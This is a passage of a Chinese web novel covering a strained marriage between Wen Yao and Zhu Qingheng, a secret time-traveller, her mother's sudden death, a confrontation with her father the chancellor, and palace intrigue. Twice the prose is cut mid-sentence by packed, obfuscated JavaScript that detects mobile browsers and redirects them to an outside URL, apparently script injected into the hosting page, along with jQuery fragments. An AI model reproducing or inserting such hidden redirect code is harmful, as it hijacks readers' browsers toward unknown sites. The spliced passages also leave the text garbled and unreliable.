祝正和平和的眉目罕见地浮出一丝厌烦,敷衍道:“今夜我睡书房,让她砸,随她怎样。” 仆从见怪不怪,在祝正和走后招呼人来收拾桌席。 …… “方才席上,你不该那样对臧姑娘说话。” 正堂内外四处都是人,臧舒雯又是臧翡的侄女,祝清衡那般怕是会引人说闲话。 “那我如何说,母亲明摆着用意不纯,我还上赶着给她们送机会么?”祝清衡不悦,进屋将门合上,幽怨道,“你不吃醋也就罢了,又数落上我的不是了。” 他三步并两步追上温窈,自背后把人搂进怀里,语气愈发不满,“我看你说欢喜我都是假话,人摆到面前了你都不在意,这几年要不是我死活不应,母亲塞的小妾通房恐怕要围着祝府排一圈了。” “是吗。”温窈拉下男人抱在自己腰间的手,转身看向他,“为了我,你竟牺牲如此之大么。” 祝清衡愣了愣,旋即意识到自己说了错话,情急去握住她的手,“窈窈,你知道我不是那个意思。” “我知道。”温窈勾了勾唇,面上却不见笑意,“今日申时,竹山从府中取了五十两。” “清衡,是你让他做的么?” 15. 朝来入庭树 五十两,足够平民百姓一家一辈子吃喝富余,便是祝清衡每年俸禄也不过比二千石,五十两几乎是他一年的俸禄,并非小数目。 祝清衡却半句招呼不打,只支使一个小厮回府来取,莫是当真以为府中财政支出毫无所谓,这五十两只是轻飘飘的水漂吗? 祝清衡脸色霎时变得难看起来,翕唇哑声唤她,“窈窈……” “府中并没有如此多现银,再者数目太大,母亲必会质询,”温窈眉头轻蹙,淡声道,“可供支配的只有十两,其余的银钱从我的嫁妆中出。” 她似是仅仅告知,并无他意,祝清衡却猛地攥住她的手腕,力气之大到像是要将她的腕骨捏碎。 温窈吃痛,眉间拧得更紧,“你做什么?” “五十两,”祝清衡咬牙,眸瞳如刃地盯着她的眼睛,“你也不问我是做什么?” 他当然知道五十两不是小钱,甚至猜到竹山回祝府取钱极有可能受到臧翡或温窈的阻拦,可是他没想到,温窈宁愿用嫁妆作垫给他,也不愿多问一句。 “你既然要取这个钱,便有你的道理,”温窈说,“我一个深宅妇人,过问那么多有何意义?” “……深宅妇人?”祝清衡指节发颤,分不清其中是隐忍克制更多还是不可置信更多,“我何时真正把你当成那些囿于宅院的女人过,你要读书也好,要解机关也罢,我哪样没有依你?你不想有孩子,母亲那边我帮你挡,你不甘居于内宅,朝堂上的事我也尽数讲与你听,我不过乞求你的一点爱怜,想和你做一对平常夫妻,为何你总要把我拒于千里之外,我祝清衡就那么入不得你的眼吗?!” 尾音落下,房中一片清寂。 祝清衡胸口阵阵钝痛,他与温窈夫妻三年,却相识十五余载,他以为温窈应允了和他做真正夫妻,便是日久生情,可如若她真的如她所说对他生了感情,为何臧翡步步紧逼,她仍不愿为他生下哪怕是一个孩子? 因为她想走,无时无刻、每分每秒。 她知道,一旦有了孩子产生牵绊,她再想离开祝府就如同平地登天、割舍血肉,所以她不敢,也不想以此作为赌注。 温窈半垂着眼帘,任由祝清衡质问,不曾出言反驳。 是啊,问遍长安所有成了婚的女子,谁人的丈夫会像祝清衡这般纵容包庇她,又有几个夫君能不在意绵延子嗣之事呢? 她温窈身在福中不知福,明明只要依着他们的意思,安心稳定地诞下一子,便能修复岌岌可危的婆媳关系,同祝清衡做一对羡煞旁人的恩爱鸳鸯。 既没有复杂的家宅内斗,亦没有通房宠妾博取丈夫眼球,只是生下一个孩子而已,将来孩子的父亲、祖父、外祖个个位极人臣,又是多少人梦寐以求的日子。 如此轻松简单的事情,何乐而不为呢,她有什么好拿乔坚持的呢? “……窈窈,”祝清衡冷静下来,他与温窈成婚至今,他从未像今日这样对温窈说过那么重的话,后悔后知后觉地涌上心头,“我只是,太累了。” 大理寺的事务压得他喘不过气,突如其来的其他穿越者更是打乱了他的阵脚,过去二十余年的生活瞬间化成泡沫般飘忽梦幻,让他分不清真实和幻境。 他小心试探着将女人重新抱回怀中,下颌抵在温窈颈窝,轻轻蹭着她的温软的耳廓,仿佛只有如此才能唤醒他的神智,“我知道,你本不该是囚于四方天地的鸟雀,当初你与我成婚,亦是逼不得已。” “你愿意和我做真正夫妻那日,我高兴了许久,几乎彻夜未眠,”祝清衡啄吻着她的颈边,哑声道,“我只是怕你因为愧疚委身于我,又怕你把我当做累赘,随时会弃我而去……我只是太怕失去你,你不要……不要对我失望,好不好?” 怀中的人依旧缄默不言,男人心中愈发慌乱,几近低声乞求,“我观旁人夫妻,总会吃味质询,是我错了,我们与他们本就不同,我应该多给你一些时间……” 他像是禁不住哽咽,“你总将事情埋在心里,什么都不与我说,我想从旁帮衬你……就像当年你帮衬我一般,我们既已是有过肌肤之亲的夫妻,同床共枕,难道连我你也不能信么?” 刑事断案非他擅长,如若没有温窈在背后相助,他要越过一众候选一跃坐稳大理寺少卿之位谈何容易,正因如此,他庆幸温窈是他的妻子,更感激温窈即便迫嫁也不计前嫌为他谋途,所以,他不能失去她。 他们是相互的倚仗。 “当真如此么?”温窈似是被他推心置腹、泪噎语凝的剖白感动,身体略微放松着靠在他胸前,“清衡,你说我们是夫妻,是吗?” 祝清衡有些茫然,“自然。” “那这三年来,你有没有瞒我、欺我、骗我?” 祝清衡无法抑制背脊的生理反应,仿佛手脚脊骨都僵在原处。 “没有,”他听见自己说,“我怎么会瞒你、欺你、骗你。” “我那么爱你。” “我有不得已的理由,没能为你生育子嗣,我已承诺你,待到年后,我绝不推脱。”大抵是她伏在男人身前的缘故,温窈的声音有些闷,“我自知此事于你、于祝府不公,所以我更应该在旁事包容体贴,母亲要为你纳妾,也是为了子嗣。” 温窈鲜少向他表明解释她内心的想法,祝清衡回过神将她抱得更紧,“我说过,我只会要你一个。” “那我眼下问你,”温窈受到鼓舞般,轻声问,“你取那五十两,究竟为何?” 为了赎一个女人,青楼的伶妓。 非亲非故,甚至只有两面之缘。 “道南看上了一个青楼女,”祝清衡说,“他一心要将那伶人赎出青楼,却无法拿出如此多的银钱。” 沈道南和他的关系温窈一直都知道,而沈道南的父亲乃是翰林大学士,行事作风端正但古板,绝无可能让沈道南从家中一次取出五十两白银。 “他很少求过我什么,我……”祝清衡垂眼目视着温窈的青丝,喉咙不受控制般将谎话说得炉火纯青,“我实在不忍看他颓靡,所以命竹山回来取,五十两不是小钱,我以为你会先问我,若你阻拦了竹山,我也正好以此理由推了道南的请求……” 原本他想,如果温窈拦了这笔钱,他便将柳瓷送去方洲,或者送去潜周城,总之让她走得远远的,离他和温窈越远越好。 可惜温窈没有问,也没有拦。 她根本不在意祝清衡拿这些钱去做什么,只是假装很关心他,哪怕他是拿钱去赎青楼妓子。 祝清衡眸色在烛光倒映下更显灰暗。 温窈,你是否会在真正临近失去的时候,才会醒悟珍惜我呢? …… 就臧舒雯的话来说,择日不如撞日,温窈与她都有空闲,因此次日一早她便寻到温窈同她一齐出了府门。 长安的市集比起岭南其实无有特殊,至多是摊贩卖的稀奇古怪的玩意儿多一些。两人一路看下来基本没买东西,而臧舒雯偏爱去各家布庄,据她说,她是臧家绣工最好的女子,玲珑布庄的许多绸布纹路都是她设计再教给其他织娘,这也是她年已十七仍能留在臧家的原因。 “可惜,就算我能将真花绣到布上,还是不能做主自己的事情。” 三人从附近最后一家布庄出来,臧舒雯长舒一口气,指向斜后街巷飘着招幅的云吞小摊,“表嫂,我在布庄的时候听来客说那家很是好吃,不如咱们也去尝尝?” 相比臧翡在场时强装的温婉宁静,眼前的臧舒雯更像是释放了本性,大咧豪迈。温窈自然不会扫兴,颔首答应。 她与臧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15202526|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒雯不过相识两日,臧舒雯却如同当真将她看作表嫂了般,昨日刻意营造出的“敌对”消失殆尽,温窈看得出,她是想对自己示好。 可如果她是想借和温窈打好关系,日后更好顺利留在祝府,亦不该是这个状态……臧翡是她的亲姑母,偏生臧翡又对温窈十分不满,讨好温窈对臧舒雯来说只会是得不偿失。 “老板,三碗云吞!”臧舒雯回头看向温窈,“表嫂,那位姐姐还过来么,要给她也要上一份么?” 她话中的“姐姐”是琉锦,温窈摇了摇头,“她有些事要处理,不与我们一路。” 臧舒雯了然点头,没有多问,只道:“幸好早晨把姑母身边的嬷嬷甩掉了,否则还不知道这一路多憋屈呢。” 她们离府前臧翡要让徐嬷嬷同路,应是放心不下臧舒雯与温窈单独相处,之后臧舒雯是如何说服臧翡放弃的温窈不知,但正如她所言,此时的她们才是最自在的。 “诶,我听说永庆侯家的案子有着落了,伏龙使好像抓到了幕后黑手!” 周围偶有窸窣模糊的讨论声传来,各家各户的事情皆可称为人们的饭后茶谈。 “不是说凶手畏罪自杀了么,哪来的什么幕后黑手?” 此前案子刚出的时候还传过一阵长孙家的说辞,但不过半日就销声匿迹,如今又出了传闻,人人已不大信了,只当乐子听。 “这你就不知道了吧,那大公子死的时候手里还拿着一张机关图,嘿,你知道那机关图是谁家的么?” “谁家的?” 那人似是刻意停顿吊人胃口,又像害怕隔墙有耳,压低身子凑到人耳边道:“青山山家!” 他作势压了声音,说出的每一个字却仍清晰传到每个人耳中。 “青山山家?不是老早就说被人追杀死得差不多了么,又关他们什么事?” “那山氏可是大兖开朝的第一机关世家,盛负从龙之功!”那人说,“正所谓百足之虫死而不僵,山家家大业大,又有独门机关术,哪那么容易死绝?我就听说这次伏龙使抓着的就是山家前家主的孙子山罗安!” “姑娘们,你们的云吞好了。” 老板将热气腾腾的云吞送到桌上,见只有一人动筷,不由小声多唤了两句,两人却仍纹丝不动,只好疑惑走开。 臧舒雯也察觉出怪异,“表嫂、表嫂?” 温窈轻轻眨了下眼睫,眸光转向她。 臧舒雯自然看出她和她身边的侍女神情都不对劲,不等她再问什么,不远处摊位上又有声音传出。 “还有一件事你们听说没,春怡楼那个特有意思的瓷儿姑娘,被人赎走了!” “赎走?这么快,谁啊?” 长安最不缺有钱有闲的人物,能拿出五十两赎身钱的人大有人在,但瓷儿在春怡楼盛名已久,一直无人为其赎身。 原因无他,一个卖艺不卖身的伶人,极有可能为她赎身后竹篮打水一场空;再者救风尘这种事,不是什么人都有胆子做。 “什么人倒不清楚,搞得还挺神秘,说是托了个小乞丐当着春怡楼众人的面就把瓷儿赎身钱交给老鸨了,点名要老鸨放瓷儿自由……你们说,咱这长安还真有这么深情不图回报的男人啊?” “你还真别说,那个祝什么什么的哈哈,娶了个生不出孩子的才女!可不是长安出了名的吗哈哈哈哈!” 臧舒雯打眼听着,总觉得这个势头发展得越来越不对劲,“……表嫂?” 温窈弯了弯唇,神情不似作假,“无事,吃吧。” 她今日来此是临时起意。 温窈眸光轻动,望着臧舒雯脸上没来得及掩藏的迷惑,缓缓思忖。 是有人专门做局在这等她上钩,还是有人为了搅浑棋局,故意放出的消息? 16. 孤客最先闻 “这间屋宅虽不大,胜在清净,”祝清衡站在门前随意打量几眼,没有要进去的意思,“你先安顿在此处。另外,我丑话说在前头,若你要以医术谋生,前期造势发展只能靠你自己……至于开医馆一事,待我看见你的价值,自会帮你。” 柳瓷将自己少得可怜的包袱放在小案上——她本就是逃难而来,在春怡楼的日子很难接触外界,除了几身衣裳,余下的便是她从曹梦丽处挣到的银钱。 祝清衡让她住的这个地方不在长安的繁华地段,换言之,她约莫不会再住处附近见到过去“侍奉”过的贵客,囿于此隅,可以喘息片刻。 “那么,”柳瓷低垂着眉目,半是试探地问,“祝少卿此前要我做的事,是什么?” 祝清衡瞟了她一眼,柳瓷和他想象的穿越者不同,她身上没有过多浓郁的“不属于这个时代”的气息,或者说,这些气质在她穿越来两个月中已然磨灭了。 要想在一个与自己原本生活截然不同的朝代生存,如若没有掀翻规则的能力,便只能伪装、直到同化。 “你应当知道,我已娶妻。” 在得知有“同乡者”的奇异兴奋情绪反而在见到人后散去,祝清衡对柳瓷过去的生活不感兴趣,而他如今在大兖,是大兖的祝清衡,没必要再去纠结现代的事、影响他现有的生活。 祝清衡沉了口气,道:“不过是借你的存在,让她更在意我一些罢了,待时机成熟,我会对她和盘托出。” 他顿了顿,余光扫过柳瓷的脸,“你我既同出一源,便当是个朋友,日后你好生过你的日子,我也有自己的生活,全作一点缘分。” 他没把话说得太直白,但柳瓷听了个明白——祝清衡的意思,是让她不要妄想借同为穿越者的关系谋图其余事。 祝清衡投了个好胎,有好身份好官位,也有相爱的妻子,看似与柳瓷有缘,实则本不是一路人。 柳瓷笑了笑,她倒是可以直接指责对方迂腐封建,更可以直言他想太多,毕竟他们本质仍是现代人,祝清衡不至于因此迁怒她,可她什么也没有说,只道:“我在春怡楼的确有听闻祝少卿的事。” 祝清衡转眸看向她,听出她还有下文。 柳瓷抬起眼睛望着男人,神色有几分怪异,“祝少卿……一定要这样吗?” 此话前后因果模糊不清,祝清衡不由拧眉,“什么意思?” 什么叫一定要这样? “我虽然不知道你和你妻子的相处模式,”柳瓷观察着他的表情,缓缓道,“可我认为,一个女人不会容忍丈夫和其他女人牵扯过深。” “如果祝少卿想让你夫人更在意你,还是采取其他方式为好。” 感情一事最经不起试探,否则,将会成为双方心里永远都难以拔除的一根刺。 祝清衡问:“那你觉得,什么是好方式?” “我是局外人,不清楚你们的过往,不好评说,”柳瓷见他似乎格外在意此事,于是多问了一句,“贵夫人是个什么样的人?” “温柔和善,知书达理,善解人意……”祝清衡抿了抿唇,又说,“可她太过倔强,喜欢把事藏在心里。” 柳瓷微不可察地挑了下眉尾,“那你就不怕夫人误会了我们的关系,性格使然不曾表达,却心中对你失望吗?” 要按祝清衡这般形容,他如此作为只会把温窈越推越远。 “你不明白!” 岂料祝清衡骤然抬声,身侧的手掌握紧又松开,“若我不激她,她就会永远如此!” 他只是正巧以柳瓷的契机凿开温窈封闭的心门,让她明白怀疑吃醋、担心受怕的滋味,待逼到极致便会彻底发泄,届时她才会更清楚她对他的感情有多么深刻。 然后永远、永远不会再离开他。 柳瓷怔住,祝清衡话语中流露出的拧巴偏执不像一对正常夫妇该有的情绪。 起初她以为祝清衡想出如此法子是把感情的事想得过于简单幼稚,可显然祝清衡不是孩童,他比谁都知道他在做什么,会造成什么样的后果。 但他仍旧会这样做。 “罢了,与你多说无用。” 祝清衡面色展露些许不耐,或许他还是太理想化,真以为柳瓷和他同样来自现代就能理解他的想法——他早不该抱有这种期待。 要不是为了将戏演得再真些,安排柳瓷住处这种小事不必他亲自出面。 祝清衡道:“大理寺还有要事,有问题你找竹山……” “少爷!” 竹山匆匆闯了进来,他本被祝清衡支使去探看周围的情况,眼下却着急忙慌地冲到祝清衡身边,连气都喘不匀稳。 祝清衡下意识想训斥他莽撞,却听竹山上气不接下气道:“您快去丞相府吧,出事了!” 祝清衡猛地愣住。 …… “少卿夫人,”何泉带着仆从挡在丞相府前,脸色少见的黑沉,对女人的称呼也从故意亲近到生疏,“您不该此时回来。” 温窈寒色如刀,彻底掀去了浮漂般的安宁,冷声道:“让开!” 事发突然,彼时她和臧舒雯在云吞小摊,琉锦却突兀地寻来……她没法顾及臧舒雯的去留,只迅速吩咐琉银去大理寺寻祝清衡,而后几乎未加思索便带着琉锦赶到丞相府,却被何泉等人拦住去路。 “您是出了嫁的女子,没有夫家送贴,不允自行归宁!”何泉阴冷的眼神落在温窈身后的琉锦身上,嗤笑道,“夫人切莫被人迷惑了心智,到时可不好收场。” 丞相府并非在穷乡僻壤,双方对峙,如此大的动静自然吸引了不少周边路人窃语。 温窈却恍若未闻,不退反进一步,一字一顿道:“让开,我要见我阿娘!” 即便何泉带了人亦不敢当众对温窈下手,轻而易举被女人逼至门前,顾及声誉不得不压声威胁,“姑娘您可要想好了,若被老爷知晓,您怕是……” 她可以不在乎她的名声她的以后,可丞相府不能不在乎、温长风不能不在乎。 何泉强作镇定说出的恐吓未尽,温窈的耐心已等不了了,“琉锦。” 琉锦得令,指尖自腰间一掠,翻腕便亮出一把匕首,日光下隐约可见匕柄上的“山”字,“何管家,匕首无眼。” 打青山来的匪人不是他们这种“养尊处优”之人能相抵的,恐怕所有仆从加上何泉都不是琉锦的对手。 何泉艰难地咽了咽唾沫,正要松口时,丞相府的大门却从背后打开。 几人登时如同找到了主心骨,为温长风让出路。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206809|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >何泉道:“大姑娘没有夫家送贴却硬要入府,小人阻拦不当……” 温窈无所谓何泉是否添油加醋,她此番擅自要闯府门,无论何泉说什么温长风都会借题发作,可她已经管不了那么多了,冲上前问:“我阿娘呢?” 她脱口的话不自觉开始发颤,眼瞳紧紧盯着温长风的面容,像是要从他脸上看出一丝违和的蛛丝马迹。 温长风那双眼睛几近冷漠,没有任何情绪地打量着在崩溃边缘的女儿,仿佛在打量路边发疯的野猫野狗。 半晌,他牵动薄唇吐出两个字,“回去。” 何泉立即将余下的仆从带回府中,温长风不再分给温窈目光,亦转身进了丞相府。 如果琉锦传回的消息有误,温长风不可能是这个态度。 温窈只觉手脚僵硬,天高欲塌。 她知道山辛夷体弱,又有温长风软禁限制,日子不会自在。 可温长风的软禁既是囚笼亦是庇护,她以为,至少能保山辛夷性命无虞。 温窈从未设想过,有朝一日山辛夷弃她而去,她该如何。 仿佛刹那被人抽去了力气,女人脚步踉跄,遂被人扶住手臂。 琉锦压抑着悲痛,轻声道:“姑娘,撑住。” ……山辛夷,怎么会死呢? 她那么聪明,外祖母说她离开青山前曾是山家最有天赋的机关师,况且她自通药理,比谁都清楚她自己的身体状况,怎么可能无声无息地死了呢?! 直到亲眼目睹到正堂平放的棺材,山辛夷失去血色而青白的脸平和寂静,温窈浑噩混沌的脑中终于落定了事实。 不——! 她猛然发力要扑向棺材,却被人预判拦住了去路,抬眸只对上一双不耐厌烦的双眼。 “她怎么会死?!”温窈已全然不顾所谓辈分礼节,发青的手指掐住中年男人的衣袍,声嘶力竭地问,“你说话温长风!你怎么能让她死?!” “够了!” 温长风毫无情义地将她掀倒在地,语气不愉道:“她是自取死路,与我何干?” “你就不怕夜半孤魂来找你索命吗?!”温窈双目猩红,抬头看向男人的眼神仿佛要将他碎尸万段,“温长风,你的良心是被狗吃了吗?!” “放肆!”温长风居高临下地指着她,“你就是这般对你父亲说话的吗!” “当初你为了颜面逼我出嫁不成,一面利用山辛夷游说迫我就范,一面又私下以山辛夷的性命威胁我……”温窈竟是毫无遮掩地笑了出来,泪珠却顺着眼角滑落,“你说只要我嫁给祝清衡,无论山辛夷做什么你都不会休了她更不会伤及她性命,我以为你再如何冷心冷肺,也不至于要了发妻的性命……温长风,我还是太高看你了,你就是不折不扣的伪君子,养不熟的白眼狼!” “温窈!” 温长风最厌恶旁人骂他是白眼狼,温窈心知肚明,不过是在故意激怒他。 温长风压住怒气,正要发令叫人把温窈拉去祠堂,却听堂外一声颤巍柔弱的呼唤。 “……温郎?” 隐隐还有幼子细小的啜泣声。 温窈嗤笑出声,神情嘲弄,明明跪趴在地,却让温长风无端觉得被人火辣辣地扇了一巴掌。 可笑。 17. 涧户寂无人 “你来做什么。” 温长风额角抽动,脸色却柔和了不少,上前将母子俩挡在外头。 他有意压低声音,对那妇人道:“此处煞气重,莫要冲撞了你们,这里有我,你带峰儿回去歇着罢。” 妇人似不放心,又不想当众忤逆温长风,犹豫间只听堂内传来女子不吝讥讽的声音。 “是啊,这里头有死人,表姑带着孩子还是离远些。” 温长风禁止她接近棺材,何泉等人便严防死守在她附近。温窈冷笑道:“若不慎沾染了‘煞气’,小心冤鬼索命啊。” “你瞎胡说什么!”温长风转头呵斥她,然而妇人怀中的孩子不知是被温窈话里的字眼还是温长风不常露出的凶相惊骇,竟放声哭了出来。 “好峰儿,不哭不哭。” 景思蓉连忙抚着儿子的背细声安慰,谨小慎微的神色变化一瞬,再抬眼时已双眼泛红,好一番楚楚可怜的模样。 “小窈,不管你信或不信,”景思蓉眼中含泪地望了温长风一眼,偏过眼去垂目落泪,“你母亲的死绝不是我与温郎造成的,我家中生变,不得已才带着峰儿求来长安,并非有越矩他想……” 温长风眉头紧皱,似是不忍看她如此凄戚,“你不必同她解释,她和她娘一样……” “一样什么,”温窈侧脸睨向郎情妾意、仿佛他们才是其乐融融一家的两人,半面眉眼竟比棺材里的死人更渗人几分,“一样是疯子吗?” “你说够了没有!”温长风将景思蓉母子护在身后,毫不客气道,“山辛夷自己服毒自尽,你再愤恨也该去地府问问你的好阿娘,一味朝不相干的人泼脏水难道就是山辛夷教你的道理吗?!” 温窈眸色灰沉,她虽沉默,但她的眼睛和山辛夷太像了,诡异得让温长风和景思蓉莫名涌生出一种被山辛夷审视的错觉。 温长风恼怒道:“押她去祠堂!” “慢着!” 府门敞开,赫然是风尘仆仆赶来的祝清衡。 男人视线匆匆扫过温长风和景思蓉,却不曾说什么,只先上前护住跪地的温窈,“窈窈……” 他被女人惨白的脸色微惊,下意识看向堂中那副散发着阴冷柳木气息的棺材,一时神情惶然,很快又镇定下来,转而对温长风道:“窈窈受了刺激眼下不宜在此久留,容小婿先将她带回府,之后再……” 怀中的人陡然失力,伏身呕出一口鲜血。 祝清衡瞳孔骤缩,揽住温窈如飘絮般的身体,“温窈!” 恐慌几乎占据了他的神智,男人嘴唇颤着,立即要将她打横抱起,却被尚有一丝清明的温窈按住了手。 祝清衡无力地张了张唇,“……窈窈?” 温窈忽视男人紧张关心的神情,越过他的身形,掀起眼皮定定看向面色难看的温长风,沾了血的唇齿字字清晰道:“我要带她走。” 如此无理的要求连温长风也不禁怀疑起自己的耳朵,“你说什么?” 且不说嫁夫从夫,就算他温长风再厌恶山辛夷,但只要山辛夷一天是他的正妻,她就只能葬在温家的族墓,又怎么可能交给同样嫁做他人妇的温窈? 温窈闭了闭眼,她的身体已到强弩之末,心肺的疼苦震得她眼前发黑,她却觉得自己没有一刻比现在更清醒。 她要带山辛夷走。 祝清衡察觉到她冰凉颤抖的指节,女人被鲜血染红的唇令他胸口发 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“第一,温长风与山辛夷和离,山辛夷不入温家祖墓,如何去留唯我可定夺。” 温长风面色冰寒,他料到温窈是要以此和他交换,道:“第二呢。” 温窈痴痴笑出了声,仿佛预料到了什么可笑至极的笑话。 她抬眸扫过一旁护着孩子的景思蓉,温长风眉头一拧,心中不祥愈盛,却已来不及制止。 “第二,我要温长风此生不得再娶妻纳妾,”温窈幽幽道,“即刻起,向世人、陛下发誓,倘若违背……” “不得好死。” …… 18. 纷纷开且落 “怎么会突然死了,”永平擦刀的动作一顿,将锃亮的刀锋收回刀鞘,问,“温长风什么态度?” 都说长安最痴情的两姓男人便是温家和祝家,一个位极人臣不弃糟糠妻,一个平步青云却专情一人,最巧的是,两家联姻,祝清衡更是继承其父祝正和的专一,扬言一生唯有一妻。 如今温窈的母亲突然离世…… 永平下意识瞥了一眼手边的城舆图,心中计量起来。 “奴婢听说山娘子是病逝而死,祝家少夫人突闻噩耗也一病不起,”洛河跪在永平身后为她捏肩,娓娓道来,“而温丞相,倒是行为颇为矛盾怪异。” 永平兴趣愈起,“哦?” “说是先给了已死的山娘子一封和离书,连山娘子的尸身也叫祝家少夫人带了去,”洛河说,“后又广告世人,说他温长风将终身不再娶妻纳妾,甚至递了一封陈情书到宫里,恳求陛下见证。” 怪就怪在,若温长风与山辛夷当真情深意切伉俪情深,又怎会在山辛夷死后倒给和离书;可若两人早生嫌隙,温长风又何必立誓鳏寡余生。 见永平面露深思,洛河接着道:“眼下坊间都传,其实是祝家少夫人与温丞相不睦,因此不愿母亲葬于温家祖坟。” 一听就是温长风为了圆自己行止有意引导的风向,永平冷哼一声,“还有呢?” “还有……” 洛河有些犹豫地打量着谢袖的脸色,那祝家少夫人曾在谢袖尚是公主时做过她的伴读,可惜后来不欢而散,这么多年谢袖虽关注着温窈的动向,但究竟意欲在意还是报复,便是洛河常年侍奉也看不清明。 永平等了片刻不闻她开口,扭头睨她,“支支吾吾地做什么,有话直说。” 洛河狠了狠心,回道:“他们还说,祝家少夫人实在自私,为满足私欲连亲生母亲的名声都不在意,叫山娘子死了也不安生。” 永平脸色瞬间一寒,手中的刀重重拍在案上,“放他爹的屁。” 洛河立马缩着脖子跪地垂首,一声不敢吭。 “去查,”永平静了片刻,寒声令道,“查温长风,还有他做那些事的目的。” 洛河一刻不敢耽搁,利落应道 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永平挥退来禀报的太监,熟练地进了偏殿。 九粟城旱灾已有三月,朝廷虽第一时间拨了救灾款,可天灾人祸覆之,不过杯水车薪。 如今天下大权并非全权握在皇帝手中,一批灾款往下拨,途径官臣不说,又要被多少王公贵族搜刮,真正落到九粟城的还能有多少钱。 大兖早就是金玉其外败絮其中的烂摊子,哪怕当权者想要扭转现状,也不是一朝一夕能做成的。 永平带着洛河坐下,听着隔壁御书房传来的争执声。 “陛下,旱灾乃是天祸,朝廷拨的灾款已足够多了,不可为了一城伤了国之根本啊!” 是大司农李琼的声音。 “陛下!”另一人紧接着怒驳道,“此番旱灾是九粟城州官失职在先,暗瞒朝廷,可城内百姓何辜,如此民不聊生,臣等实在于心不忍哪!” 嗯,这个是太史令常赫飞。 “于心不忍?国库空虚难道拿你的俸禄来填么?!”李琼言辞激进,永平很难想象出平日端方和善的大司农唾沫横飞的样子。 “可若朝廷不作为,如何能稳住民心?”常赫飞不遑多让,声大如牛,“国库无银,叫那些地主富商开仓济民啊!” 李琼听起来气得七窍生烟,“你说的倒容易,谁来做?你来?!” 常赫飞:“我不过一介太史令,此番是为国为民,李司农你——” “陛下,”一直不曾开口的祝正和终于道,“依臣看,眼下稳住民心为次,还是要先安顿灾民,再议后话。” 皇帝的声音传出,“老师觉得,应当将难民安置在何处?” “潜周城地广物博,与九粟城相距不远,三月来从九粟城逃难者不计其数,但大部分城内百姓拖家带口难觅去处,不如先引导一部分难民去往潜周城,由潜周城方家接应,再开粮仓。”祝正和言辞有据,嗓音平稳,显然是经过深思熟虑。 皇帝沉吟片刻,问:“诸爱卿觉得呢?” “臣…臣等认为,御史大人所言甚是有理。” 方才还吵得热火朝天的人宛如被点了哑穴,支支吾吾半晌憋出来一句话。 谢岐似是笑了一下,道:“那便按老师说的办吧,与潜周城方家对接一事……就由常太史去做罢。” 常赫飞:“……” 常赫飞不过一个太史令,职责并不在此,祝正和亦觉得不妥,出言要劝阻,却听皇帝道—— “先前常太史多为义愤填膺,朕听来倒是大材小用了常爱卿,既然常太史满心为了大兖百姓,此事朕唯交给你才最放心。” 两瞬后,御书房内无人再开口。 常赫飞心灰意冷道:“臣定不负圣恩,全力以赴。” 闹剧罢场,那头安静下来,偏殿的内门被人推开,木镂花墙后率先出现在永平眼前的是文福谄媚的嘴脸。 “陛下,长公主已等候多时。” 皇帝并未离开檀椅,连接御书房和偏殿的暗门打开后足够两人顺畅沟通,只道:“长姐有事?” 永平眯了眯眸,不知谢岐是真傻还是装傻,“今日议政,怎不见温丞相?” “丞相告了假,”谢岐面色淡淡,斜眸睨向永平,“若长姐实在好奇,大可去丞相府一探究竟。” “天下之事,难道有什么能躲过伏龙使的眼睛么?”永平目光扫过暗处,道,“我没记错的话,御书房与偏殿的这道暗门,应该是青山山氏的手笔。” 谢岐不言。 永平最讨厌和谢岐这种人兜圈子,索性直接问道:“伏龙使抓了山罗安?” “这似乎与你干系不大,”谢岐说,“伏龙使做事自有伏龙使的道理。” 言下之意山罗安和永平非亲非故,甚至是素未谋面,永平为了这样一个人专门进宫质问皇帝,其心可疑。 “你分明知道,山辛夷死了,”永平起身,眸光越过镂墙紧盯着谢岐的神情,“恰在此时,你又放出了抓获山罗安的消息。” “你猜,现在温窈有没有怀疑到你身上?” 山辛夷究竟是病逝还是死于其他,永平尚不知晓,但她确信她了解温窈。 哪怕温窈第一时间会怀疑温长风,可她绝不会放过半分蛛丝马迹,而谢岐,将会是温窈的第二怀疑人。 “怀疑朕?” 谢岐却撂下竹简,抬眼对上永平不掩嫌恶的视线,“那就让她来和我对峙。” 恶心。 永平嗤道:“你以为她和祝清衡和离就能看上你不成?” 未免也太高看自己了。 内宅对温窈来说已是磨平棱角的凌迟,难道她会傻到再入深宫吗? 谢岐耷拉下眼皮,无所谓道:“与你无关。” 早知道谢岐冥顽不灵,永平气笑了,她当真是自讨苦吃。 “常赫飞是个蠢人,”谢岐从不在意谢袖对他的态度,不过是有血缘关系的同盟者,比那些一个心思能百转千回的官吏更值得信任两分而已,“他去和方家交涉,多半吃亏,你暗中盯着,别让他出岔子。” 永平道:“我凭什么帮你。” “你既要走了潜周城的城舆图,不就是想借机吞了这座城为你所用,”谢岐语气淡淡,仿佛口中所述不是他的领土,“眼下机遇千载难逢,何来是帮我?” 谢袖眉尾微扬,“你就不怕我笼络外臣将你这个皇帝反了?” 谢岐道:“求之不得。” …… 一连几日,祝清衡回府后与温窈只有三两句话交流。 温窈似乎十分忙碌,要么祝清衡进屋时她已歇下,要么祝清衡躺下了她仍在外间看书,祝清衡不是傻子,知道她是在有意避开和自己说话。 山辛夷已入葬了,温长风也如约按她的要求履行承诺,祝清衡不明白她到底在气他什么。 